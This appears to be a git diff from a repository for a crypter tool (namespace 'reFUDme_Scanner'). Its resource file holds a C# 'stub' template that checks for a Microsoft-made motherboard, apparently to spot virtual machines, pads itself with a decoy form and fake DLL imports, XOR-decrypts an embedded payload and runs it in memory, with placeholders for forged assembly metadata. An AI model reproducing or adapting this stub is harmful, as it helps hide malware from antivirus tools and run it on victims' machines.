const string MICROSOFTCORPORATION ="microsoft corporation";
|
||||
try
|
||||
{
|
||||
ManagementObjectSearcher searcher =
|
||||
new ManagementObjectSearcher("root\\CIMV2","SELECT * FROM Win32_BaseBoard");
|
||||
|
||||
foreach (ManagementObject queryObj in searcher.Get())
|
||||
{
|
||||
result = queryObj["Manufacturer"].ToString().ToLower() == MICROSOFTCORPORATION.ToLower();
|
||||
}
|
||||
return result;
|
||||
}
|
||||
catch (ManagementException ex)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}</value>
|
||||
</data>
|
||||
<data name="stub" xml:space="preserve">
|
||||
<value>using System;
|
||||
using System.Text;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Windows.Forms;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
|
||||
[assembly: AssemblyTitle("[TITLE]")]
|
||||
[assembly: AssemblyDescription("[ASSDESCRIPTION]")]
|
||||
[assembly: AssemblyCompany("[COMPANY]")]
|
||||
[assembly: AssemblyProduct("[PRODUCT]")]
|
||||
[assembly: AssemblyCopyright("[COPYRIGHT]")]
|
||||
[assembly: AssemblyVersion("[VERSION]")]
|
||||
[assembly: AssemblyFileVersion("[VERSION]")]
|
||||
|
||||
namespace AA1
|
||||
{
|
||||
|
||||
partial class Form1 : Form
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private System.ComponentModel.IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.checkBox1 = new System.Windows.Forms.CheckBox();
|
||||
this.button1 = new System.Windows.Forms.Button();
|
||||
this.button2 = new System.Windows.Forms.Button();
|
||||
this.button3 = new System.Windows.Forms.Button();
|
||||
this.button4 = new System.Windows.Forms.Button();
|
||||
this.button5 = new System.Windows.Forms.Button();
|
||||
this.button6 = new System.Windows.Forms.Button();
|
||||
this.button7 = new System.Windows.Forms.Button();
|
||||
this.checkBox2 = new System.Windows.Forms.CheckBox();
|
||||
this.checkBox3 = new System.Windows.Forms.CheckBox();
|
||||
this.checkBox4 = new System.Windows.Forms.CheckBox();
|
||||
this.checkBox5 = new System.Windows.Forms.CheckBox();
|
||||
this.checkBox6 = new System.Windows.Forms.CheckBox();
|
||||
this.checkBox7 = new System.Windows.Forms.CheckBox();
|
||||
this.checkBox8 = new System.Windows.Forms.CheckBox();
|
||||
this.label1 = new System.Windows.Forms.Label();
|
||||
this.label2 = new System.Windows.Forms.Label();
|
||||
this.label3 = new System.Windows.Forms.Label();
|
||||
this.label4 = new System.Windows.Forms.Label();
|
||||
this.label5 = new System.Windows.Forms.Label();
|
||||
this.label6 = new System.Windows.Forms.Label();
|
||||
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
|
||||
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
|
||||
this.numericUpDown3 = new System.Windows.Forms.NumericUpDown();
|
||||
this.numericUpDown4 = new System.Windows.Forms.NumericUpDown();
|
||||
this.pictureBox1 = new System.Windows.Forms.PictureBox();
|
||||
this.pictureBox2 = new System.Windows.Forms.PictureBox();
|
||||
this.pictureBox3 = new System.Windows.Forms.PictureBox();
|
||||
this.radioButton1 = new System.Windows.Forms.RadioButton();
|
||||
this.radioButton2 = new System.Windows.Forms.RadioButton();
|
||||
this.radioButton3 = new System.Windows.Forms.RadioButton();
|
||||
this.treeView1 = new System.Windows.Forms.TreeView();
|
||||
this.treeView2 = new System.Windows.Forms.TreeView();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).BeginInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).BeginInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// checkBox1
|
||||
//
|
||||
this.checkBox1.AutoSize = true;
|
||||
this.checkBox1.Location = new System.Drawing.Point(30, 35);
|
||||
this.checkBox1.Name = "checkBox1";
|
||||
this.checkBox1.Size = new System.Drawing.Size(80, 17);
|
||||
this.checkBox1.TabIndex = 0;
|
||||
this.checkBox1.Text = "checkBox1";
|
||||
this.checkBox1.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// button1
|
||||
//
|
||||
this.button1.Location = new System.Drawing.Point(30, 69);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new System.Drawing.Size(75, 23);
|
||||
this.button1.TabIndex = 1;
|
||||
this.button1.Text = "button1";
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// button2
|
||||
//
|
||||
this.button2.Location = new System.Drawing.Point(105, 119);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new System.Drawing.Size(75, 23);
|
||||
this.button2.TabIndex = 2;
|
||||
this.button2.Text = "button2";
|
||||
this.button2.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// button3
|
||||
//
|
||||
this.button3.Location = new System.Drawing.Point(113, 127);
|
||||
this.button3.Name = "button3";
|
||||
this.button3.Size = new System.Drawing.Size(75, 23);
|
||||
this.button3.TabIndex = 3;
|
||||
this.button3.Text = "button3";
|
||||
this.button3.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// button4
|
||||
//
|
||||
this.button4.Location = new System.Drawing.Point(121, 135);
|
||||
this.button4.Name = "button4";
|
||||
this.button4.Size = new System.Drawing.Size(75, 23);
|
||||
this.button4.TabIndex = 4;
|
||||
this.button4.Text = "button4";
|
||||
this.button4.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// button5
|
||||
//
|
||||
this.button5.Location = new System.Drawing.Point(129, 143);
|
||||
this.button5.Name = "button5";
|
||||
this.button5.Size = new System.Drawing.Size(75, 23);
|
||||
this.button5.TabIndex = 5;
|
||||
this.button5.Text = "button5";
|
||||
this.button5.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// button6
|
||||
//
|
||||
this.button6.Location = new System.Drawing.Point(137, 151);
|
||||
this.button6.Name = "button6";
|
||||
this.button6.Size = new System.Drawing.Size(75, 23);
|
||||
this.button6.TabIndex = 6;
|
||||
this.button6.Text = "button6";
|
||||
this.button6.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// button7
|
||||
//
|
||||
this.button7.Location = new System.Drawing.Point(68, 127);
|
||||
this.button7.Name = "button7";
|
||||
this.button7.Size = new System.Drawing.Size(75, 23);
|
||||
this.button7.TabIndex = 7;
|
||||
this.button7.Text = "button7";
|
||||
this.button7.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// checkBox2
|
||||
//
|
||||
this.checkBox2.AutoSize = true;
|
||||
this.checkBox2.Location = new System.Drawing.Point(99, 47);
|
||||
this.checkBox2.Name = "checkBox2";
|
||||
this.checkBox2.Size = new System.Drawing.Size(80, 17);
|
||||
this.checkBox2.TabIndex = 8;
|
||||
this.checkBox2.Text = "checkBox2";
|
||||
this.checkBox2.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// checkBox3
|
||||
//
|
||||
this.checkBox3.AutoSize = true;
|
||||
this.checkBox3.Location = new System.Drawing.Point(102, 122);
|
||||
this.checkBox3.Name = "checkBox3";
|
||||
this.checkBox3.Size = new System.Drawing.Size(80, 17);
|
||||
this.checkBox3.TabIndex = 9;
|
||||
this.checkBox3.Text = "checkBox3";
|
||||
this.checkBox3.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// checkBox4
|
||||
//
|
||||
this.checkBox4.AutoSize = true;
|
||||
this.checkBox4.Location = new System.Drawing.Point(110, 130);
|
||||
this.checkBox4.Name = "checkBox4";
|
||||
this.checkBox4.Size = new System.Drawing.Size(80, 17);
|
||||
this.checkBox4.TabIndex = 10;
|
||||
this.checkBox4.Text = "checkBox4";
|
||||
this.checkBox4.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// checkBox5
|
||||
//
|
||||
this.checkBox5.AutoSize = true;
|
||||
this.checkBox5.Location = new System.Drawing.Point(118, 138);
|
||||
this.checkBox5.Name = "checkBox5";
|
||||
this.checkBox5.Size = new System.Drawing.Size(80, 17);
|
||||
this.checkBox5.TabIndex = 11;
|
||||
this.checkBox5.Text = "checkBox5";
|
||||
this.checkBox5.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// checkBox6
|
||||
//
|
||||
this.checkBox6.AutoSize = true;
|
||||
this.checkBox6.Location = new System.Drawing.Point(126, 146);
|
||||
this.checkBox6.Name = "checkBox6";
|
||||
this.checkBox6.Size = new System.Drawing.Size(80, 17);
|
||||
this.checkBox6.TabIndex = 12;
|
||||
this.checkBox6.Text = "checkBox6";
|
||||
this.checkBox6.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// checkBox7
|
||||
//
|
||||
this.checkBox7.AutoSize = true;
|
||||
this.checkBox7.Location = new System.Drawing.Point(134, 154);
|
||||
this.checkBox7.Name = "checkBox7";
|
||||
this.checkBox7.Size = new System.Drawing.Size(80, 17);
|
||||
this.checkBox7.TabIndex = 13;
|
||||
this.checkBox7.Text = "checkBox7";
|
||||
this.checkBox7.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// checkBox8
|
||||
//
|
||||
this.checkBox8.AutoSize = true;
|
||||
this.checkBox8.Location = new System.Drawing.Point(142, 162);
|
||||
this.checkBox8.Name = "checkBox8";
|
||||
this.checkBox8.Size = new System.Drawing.Size(80, 17);
|
||||
this.checkBox8.TabIndex = 14;
|
||||
this.checkBox8.Text = "checkBox8";
|
||||
this.checkBox8.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// label1
|
||||
//
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new System.Drawing.Point(93, 169);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new System.Drawing.Size(35, 13);
|
||||
this.label1.TabIndex = 15;
|
||||
this.label1.Text = "label1";
|
||||
//
|
||||
// label2
|
||||
//
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new System.Drawing.Point(125, 124);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new System.Drawing.Size(35, 13);
|
||||
this.label2.TabIndex = 16;
|
||||
this.label2.Text = "label2";
|
||||
//
|
||||
// label3
|
||||
//
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Location = new System.Drawing.Point(133, 132);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new System.Drawing.Size(35, 13);
|
||||
this.label3.TabIndex = 17;
|
||||
this.label3.Text = "label3";
|
||||
//
|
||||
// label4
|
||||
//
|
||||
this.label4.AutoSize = true;
|
||||
this.label4.Location = new System.Drawing.Point(141, 140);
|
||||
this.label4.Name = "label4";
|
||||
this.label4.Size = new System.Drawing.Size(35, 13);
|
||||
this.label4.TabIndex = 18;
|
||||
this.label4.Text = "label4";
|
||||
//
|
||||
// label5
|
||||
//
|
||||
this.label5.AutoSize = true;
|
||||
this.label5.Location = new System.Drawing.Point(149, 148);
|
||||
this.label5.Name = "label5";
|
||||
this.label5.Size = new System.Drawing.Size(35, 13);
|
||||
this.label5.TabIndex = 19;
|
||||
this.label5.Text = "label5";
|
||||
//
|
||||
// label6
|
||||
//
|
||||
this.label6.AutoSize = true;
|
||||
this.label6.Location = new System.Drawing.Point(157, 156);
|
||||
this.label6.Name = "label6";
|
||||
this.label6.Size = new System.Drawing.Size(35, 13);
|
||||
this.label6.TabIndex = 20;
|
||||
this.label6.Text = "label6";
|
||||
//
|
||||
// numericUpDown1
|
||||
//
|
||||
this.numericUpDown1.Location = new System.Drawing.Point(57, 138);
|
||||
this.numericUpDown1.Name = "numericUpDown1";
|
||||
this.numericUpDown1.Size = new System.Drawing.Size(120, 20);
|
||||
this.numericUpDown1.TabIndex = 21;
|
||||
//
|
||||
// numericUpDown2
|
||||
//
|
||||
this.numericUpDown2.Location = new System.Drawing.Point(82, 120);
|
||||
this.numericUpDown2.Name = "numericUpDown2";
|
||||
this.numericUpDown2.Size = new System.Drawing.Size(120, 20);
|
||||
this.numericUpDown2.TabIndex = 22;
|
||||
//
|
||||
// numericUpDown3
|
||||
//
|
||||
this.numericUpDown3.Location = new System.Drawing.Point(90, 128);
|
||||
this.numericUpDown3.Name = "numericUpDown3";
|
||||
this.numericUpDown3.Size = new System.Drawing.Size(120, 20);
|
||||
this.numericUpDown3.TabIndex = 23;
|
||||
//
|
||||
// numericUpDown4
|
||||
//
|
||||
this.numericUpDown4.Location = new System.Drawing.Point(98, 136);
|
||||
this.numericUpDown4.Name = "numericUpDown4";
|
||||
this.numericUpDown4.Size = new System.Drawing.Size(120, 20);
|
||||
this.numericUpDown4.TabIndex = 24;
|
||||
//
|
||||
// pictureBox1
|
||||
//
|
||||
this.pictureBox1.Location = new System.Drawing.Point(30, 198);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new System.Drawing.Size(100, 50);
|
||||
this.pictureBox1.TabIndex = 25;
|
||||
this.pictureBox1.TabStop = false;
|
||||
//
|
||||
// pictureBox2
|
||||
//
|
||||
this.pictureBox2.Location = new System.Drawing.Point(92, 105);
|
||||
this.pictureBox2.Name = "pictureBox2";
|
||||
this.pictureBox2.Size = new System.Drawing.Size(100, 50);
|
||||
this.pictureBox2.TabIndex = 26;
|
||||
this.pictureBox2.TabStop = false;
|
||||
//
|
||||
// pictureBox3
|
||||
//
|
||||
this.pictureBox3.Location = new System.Drawing.Point(100, 113);
|
||||
this.pictureBox3.Name = "pictureBox3";
|
||||
this.pictureBox3.Size = new System.Drawing.Size(100, 50);
|
||||
this.pictureBox3.TabIndex = 27;
|
||||
this.pictureBox3.TabStop = false;
|
||||
//
|
||||
// radioButton1
|
||||
//
|
||||
this.radioButton1.AutoSize = true;
|
||||
this.radioButton1.Location = new System.Drawing.Point(106, 69);
|
||||
this.radioButton1.Name = "radioButton1";
|
||||
this.radioButton1.Size = new System.Drawing.Size(85, 17);
|
||||
this.radioButton1.TabIndex = 28;
|
||||
this.radioButton1.TabStop = true;
|
||||
this.radioButton1.Text = "radioButton1";
|
||||
this.radioButton1.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// radioButton2
|
||||
//
|
||||
this.radioButton2.AutoSize = true;
|
||||
this.radioButton2.Location = new System.Drawing.Point(100, 122);
|
||||
this.radioButton2.Name = "radioButton2";
|
||||
this.radioButton2.Size = new System.Drawing.Size(85, 17);
|
||||
this.radioButton2.TabIndex = 29;
|
||||
this.radioButton2.TabStop = true;
|
||||
this.radioButton2.Text = "radioButton2";
|
||||
this.radioButton2.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// radioButton3
|
||||
//
|
||||
this.radioButton3.AutoSize = true;
|
||||
this.radioButton3.Location = new System.Drawing.Point(108, 130);
|
||||
this.radioButton3.Name = "radioButton3";
|
||||
this.radioButton3.Size = new System.Drawing.Size(85, 17);
|
||||
this.radioButton3.TabIndex = 30;
|
||||
this.radioButton3.TabStop = true;
|
||||
this.radioButton3.Text = "radioButton3";
|
||||
this.radioButton3.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// treeView1
|
||||
//
|
||||
this.treeView1.Location = new System.Drawing.Point(13, 122);
|
||||
this.treeView1.Name = "treeView1";
|
||||
this.treeView1.Size = new System.Drawing.Size(121, 97);
|
||||
this.treeView1.TabIndex = 31;
|
||||
//
|
||||
// treeView2
|
||||
//
|
||||
this.treeView2.Location = new System.Drawing.Point(82, 82);
|
||||
this.treeView2.Name = "treeView2";
|
||||
this.treeView2.Size = new System.Drawing.Size(121, 97);
|
||||
this.treeView2.TabIndex = 32;
|
||||
//
|
||||
// Form1
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.ClientSize = new System.Drawing.Size(284, 261);
|
||||
this.Controls.Add(this.treeView2);
|
||||
this.Controls.Add(this.treeView1);
|
||||
this.Controls.Add(this.radioButton3);
|
||||
this.Controls.Add(this.radioButton2);
|
||||
this.Controls.Add(this.radioButton1);
|
||||
this.Controls.Add(this.pictureBox3);
|
||||
this.Controls.Add(this.pictureBox2);
|
||||
this.Controls.Add(this.pictureBox1);
|
||||
this.Controls.Add(this.numericUpDown4);
|
||||
this.Controls.Add(this.numericUpDown3);
|
||||
this.Controls.Add(this.numericUpDown2);
|
||||
this.Controls.Add(this.numericUpDown1);
|
||||
this.Controls.Add(this.label6);
|
||||
this.Controls.Add(this.label5);
|
||||
this.Controls.Add(this.label4);
|
||||
this.Controls.Add(this.label3);
|
||||
this.Controls.Add(this.label2);
|
||||
this.Controls.Add(this.label1);
|
||||
this.Controls.Add(this.checkBox8);
|
||||
this.Controls.Add(this.checkBox7);
|
||||
this.Controls.Add(this.checkBox6);
|
||||
this.Controls.Add(this.checkBox5);
|
||||
this.Controls.Add(this.checkBox4);
|
||||
this.Controls.Add(this.checkBox3);
|
||||
this.Controls.Add(this.checkBox2);
|
||||
this.Controls.Add(this.button7);
|
||||
this.Controls.Add(this.button6);
|
||||
this.Controls.Add(this.button5);
|
||||
this.Controls.Add(this.button4);
|
||||
this.Controls.Add(this.button3);
|
||||
this.Controls.Add(this.button2);
|
||||
this.Controls.Add(this.button1);
|
||||
this.Controls.Add(this.checkBox1);
|
||||
this.Name = "Form1";
|
||||
this.Text = "Form1";
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).EndInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).EndInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
private System.Windows.Forms.CheckBox checkBox1;
|
||||
private System.Windows.Forms.Button button1;
|
||||
private System.Windows.Forms.Button button2;
|
||||
private System.Windows.Forms.Button button3;
|
||||
private System.Windows.Forms.Button button4;
|
||||
private System.Windows.Forms.Button button5;
|
||||
private System.Windows.Forms.Button button6;
|
||||
private System.Windows.Forms.Button button7;
|
||||
private System.Windows.Forms.CheckBox checkBox2;
|
||||
private System.Windows.Forms.CheckBox checkBox3;
|
||||
private System.Windows.Forms.CheckBox checkBox4;
|
||||
private System.Windows.Forms.CheckBox checkBox5;
|
||||
private System.Windows.Forms.CheckBox checkBox6;
|
||||
private System.Windows.Forms.CheckBox checkBox7;
|
||||
private System.Windows.Forms.CheckBox checkBox8;
|
||||
private System.Windows.Forms.Label label1;
|
||||
private System.Windows.Forms.Label label2;
|
||||
private System.Windows.Forms.Label label3;
|
||||
private System.Windows.Forms.Label label4;
|
||||
private System.Windows.Forms.Label label5;
|
||||
private System.Windows.Forms.Label label6;
|
||||
private System.Windows.Forms.NumericUpDown numericUpDown1;
|
||||
private System.Windows.Forms.NumericUpDown numericUpDown2;
|
||||
private System.Windows.Forms.NumericUpDown numericUpDown3;
|
||||
private System.Windows.Forms.NumericUpDown numericUpDown4;
|
||||
private System.Windows.Forms.PictureBox pictureBox1;
|
||||
private System.Windows.Forms.PictureBox pictureBox2;
|
||||
private System.Windows.Forms.PictureBox pictureBox3;
|
||||
private System.Windows.Forms.RadioButton radioButton1;
|
||||
private System.Windows.Forms.RadioButton radioButton2;
|
||||
private System.Windows.Forms.RadioButton radioButton3;
|
||||
private System.Windows.Forms.TreeView treeView1;
|
||||
private System.Windows.Forms.TreeView treeView2;
|
||||
}
|
||||
internal class AA2
|
||||
{
|
||||
[DllImport("KK3KK1.dll")] static extern string KK2SS3(IntPtr MM2MM1, byte MM1MM2);
|
||||
[DllImport("KK3KK2.dll")] static extern string[] KK3SS2(Boolean[] MM3MM2, char MM2MM3);
|
||||
[DllImport("KK2KK3.dll")] static extern int KK4SS1(StringComparer MM4MM3, long MM3MM4);
|
||||
[DllImport("KK4KK1.dll")] static extern Boolean KK5BB1(int[] MM5MM6, char MM6MM5);
|
||||
public static string[] PP1;
|
||||
|
||||
|
||||
static void Main(string[] PP1PP2PP3PP4)
|
||||
{
|
||||
byte[] BB3BB7 = null;
|
||||
try
|
||||
{
|
||||
|
||||
byte[] BB1BB2BB3 = (byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("[RESNAME]");
|
||||
PP1 = PP1PP2PP3PP4;
|
||||
BB3BB7 = BB1BB2BB3 = BB3( BB1BB2BB3, "[ENCRYPTION]");
|
||||
|
||||
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.ToString());
|
||||
}
|
||||
}
|
||||
public static byte[] BB3(byte[] DD3, string DD2)
|
||||
{
|
||||
|
||||
byte[] DD1 = System.Text.Encoding.ASCII.GetBytes(DD2);
|
||||
for (int i = 0; i < DD3.Length; i++) DD3[i] ^= (byte)(DD1[i % DD2.Length] >> (i + 5 + DD1.Length) & 255);
|
||||
AppDomain.CurrentDomain.Load(DD3).EntryPoint.Invoke(null, new object[]{PP1});
|
||||
Guid originalGuid = Guid.NewGuid();
|
||||
// Create an array of string representations of the GUID.
|
||||
string[] stringGuids = {originalGuid.ToString("B"),originalGuid.ToString("b"),originalGuid.ToString("B")};
|
||||
|
||||
// Parse each string representation.
|
||||
foreach (string stringGuid in stringGuids) {
|
||||
try {
|
||||
// Guid newGuid = Guid.Parse(stringGuid);
|
||||
// Console.WriteLine("Converted {0} to a Guid", stringGuid);
|
||||
}
|
||||
catch (ArgumentNullException) {
|
||||
// Console.WriteLine("The string to be parsed is null.");
|
||||
}
|
||||
catch (FormatException) {
|
||||
// Console.WriteLine("Bad format: {0}", stringGuid);
|
||||
}
|
||||
}
|
||||
return DD3;
|
||||
//return null;
|
||||
}
|
||||
}
|
||||
|
||||
}</value>
|
||||
</data>
|
||||
</root>
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,3 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5"/></startup></configuration>
|
||||
@@ -0,0 +1,57 @@
|
||||
namespace reFUDme_Scanner
|
||||
{
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
public class XtendPicBox : Panel
|
||||
{
|
||||
// Fields
|
||||
private PictureBox innerPicture = new PictureBox();
|
||||
private bool mAutoScroll = true;
|
||||
private string mPictureFile = string.Empty;
|
||||
|
||||
// Methods
|
||||
public XtendPicBox()
|
||||
{
|
||||
this.innerPicture.Top = 0;
|
||||
this.innerPicture.Left = 0;
|
||||
this.innerPicture.SizeMode = PictureBoxSizeMode.Normal;
|
||||
base.Controls.Add(this.innerPicture);
|
||||
}
|
||||
|
||||
// Properties
|
||||
[Browsable(false)]
|
||||
public override bool AutoScroll
|
||||
{
|
||||
get
|
||||
{
|
||||
return this.mAutoScroll;
|
||||
}
|
||||
set
|
||||
{
|
||||
this.mAutoScroll = value;
|
||||
}
|
||||
}
|
||||
|
||||
[Browsable(true), Description("Set path to image file."), Category("Image File")]
|
||||
public string PictureFile
|
||||
{
|
||||
get
|
||||
{
|
||||
return this.mPictureFile;
|
||||
}
|
||||
set
|
||||
{
|
||||
this.mPictureFile = value;
|
||||
if (!string.IsNullOrEmpty(this.mPictureFile))
|
||||
{
|
||||
this.innerPicture.Image = Image.FromFile(this.mPictureFile);
|
||||
this.innerPicture.Size = this.innerPicture.Image.Size;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user